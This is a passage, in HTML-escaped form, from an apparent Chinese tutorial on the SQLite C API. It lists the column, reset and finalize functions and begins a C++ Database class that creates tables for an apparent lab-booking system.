class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这个函数执行完,有三个状态:\u003ccode\u003eSQLITE_DONE\u003c/code\u003e,\u003ccode\u003eSQLITE_ROW\u003c/code\u003e和各种报错。接下来我们关注 ``SQLITE_ROW`,也就是返回一条行记录的状况,这个一般会出现在执行了 SELECT 的情况。\u003c/p\u003e\n\u003cp\u003e我们使用 \u003ccode\u003esqlite_column\u003c/code\u003e系列函数取出这些东西,先输入使用到的声明,然后输入索引,返回值就是里面的数据。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_blob\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003edouble\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_double\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003esqlite3_int64\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_int64\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_text\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_text16\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003esqlite3_value\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_bytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_bytes16\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_type\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e清除绑定,使用如下函数:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_reset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epStmt\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e删除声明,使用如下函数:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_finalize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epStmt\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要删除的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"举个-cpp-里面的例子\"\u003e举个 CPP 里面的例子\u003c/h3\u003e\n\u003cp\u003e目前我没有找到能让我舒心使用的 CPP SQLITE 库。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-CPP\" data-lang=\"CPP\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstddef\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;sqlite3.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;sstream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;map\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;algorithm\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"k\"\u003enamespace\u003c/span\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"cm\"\u003e/*======================================\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e Data Structure\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e======================================*/\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"nc\"\u003eTeacherDS\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTno\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTname\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTele\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTRS\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003ePass\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \n\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003emap\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003evector\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003epair\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"cm\"\u003e/*======================================\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e Database Class\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e======================================*/\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// Database class\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"nc\"\u003eDatabase\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezErrMsg\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n \u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e// For insert and delete.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"nf\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Query the empty time in 2022-12-31.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// Create an new database file.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e// Create an empty database.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_open_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;management.db\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_READWRITE\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_CREATE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t create database: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e// Create new table.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ecreate_table_queries\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \n \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Teacher ( Tno VARCHAR(10), Tname VARCHAR(20), Tele VARCHAR(20) , TRS VARCHAR(30) ,Pass VARCHAR(40),PRIMARY KEY (Tno));\u0026#34;\u003c/span\u003e\n \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Instrument ( Ino VARCHAR(10), Iname VARCHAR(20), Stat VARCHAR(10),PRIMARY KEY (Ino));\u0026#34;\u003c/span\u003e\n \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Manage( Ino VARCHAR(10),Lno VARCHAR(10),PRIMARY KEY (Ino,Lno),FOREIGN KEY (Ino)REFERENCES Instrument(Ino),FOREIGN KEY (Lno)REFERENCES Lab(Lno) );\u0026#34;\u003c/span\u003e\n \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Lab( Lno VARCHAR(10), Lname VARCHAR(40), People INT ,Purpose VARCHAR(40),Time INT,PRIMARY KEY (Lno));\u0026#34;\u003c/span\u003e\n \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Orders( Tno VARCHAR(10), Lno VARCHAR(10), Users VARCHAR(30) ,Btime DATETIME,Etime DATETIME,PRIMARY KEY (Tno,Lno,Btime,Etime),FOREIGN KEY (Tno)REFERENCES Teacher(Tno),FOREIGN KEY (Lno)REFERENCES Lab(Lno) );\u0026#34;\u003c/span\u003e\n \u003cspan class=\"s\"\u003e\u0026#34;CREATE VIEW IF NOT EXISTS SJ_PROJECT AS SELECT Sno,Pno,Qty FROM SPJ,J WHERE Jname = \u0026#39;三建\u0026#39; AND J.Jno = SPJ.Jno;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecreate_table_queries\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ezErrMsg\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t create tables: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Created database successfully\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_open_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;management.db\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_READWRITE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t open database: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Opened database successfully.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::~\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3_close_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan 